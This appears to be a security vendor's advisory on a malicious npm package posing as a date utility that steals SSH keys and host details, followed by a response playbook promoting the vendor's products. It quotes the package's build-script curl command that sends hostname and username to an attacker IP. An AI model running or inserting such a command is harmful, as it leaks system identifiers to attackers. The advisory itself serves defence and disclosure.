What this malware does

Package advertises itself as 'a simple date formatting utility' but ships an SSH-key-stealing C2 client. postinstall.js enumerates ~/.ssh for *.pub files, collects the installer's username and platform, and POSTs a JSON payload over HTTPS to the hardcoded bare IP 124.221.154.135. Source comments explicitly label this destination as the attacker's C2 server. package.json additionally declares a build script that curls http://124.221.154.135/pre?h=$(hostname)&u=$(whoami), leaking host identifiers in plaintext to the same C2. The legitimate-looking surface is a 3-line formatDate wrapper in index.js; the rest of the package is attack tooling. Although the malicious file is named postinstall.js, it is not currently wired into a lifecycle hook (scripts only declares build), so default npm install does not auto-execute it — however, the file is loaded by any consumer that requires the package or invokes the build script, and the file's name strongly suggests the author intends to enable it as a lifecycle hook in a follow-up version.

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for houzidawang807 (version 1.1.6). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging houzidawang807 across your stack and pipelines.

  2. If you installed it — respond

    houzidawang807 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If houzidawang807 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks houzidawang807 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
